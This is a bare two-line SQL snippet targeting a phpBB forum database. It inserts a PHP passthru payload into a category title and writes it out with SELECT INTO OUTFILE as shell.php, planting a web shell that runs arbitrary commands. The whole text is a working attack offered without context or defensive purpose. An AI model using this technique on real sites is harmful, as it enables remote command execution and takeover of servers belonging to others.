UPDATE phpbb_categories SET cat_title='<? passthru("$cmd"); ?>'WHERE cat_id=1;
SELECT cat_title INTO OUTFILE '/home/bla_bla_bla/shell.php' FROM phpbb_categories where cat_id=1;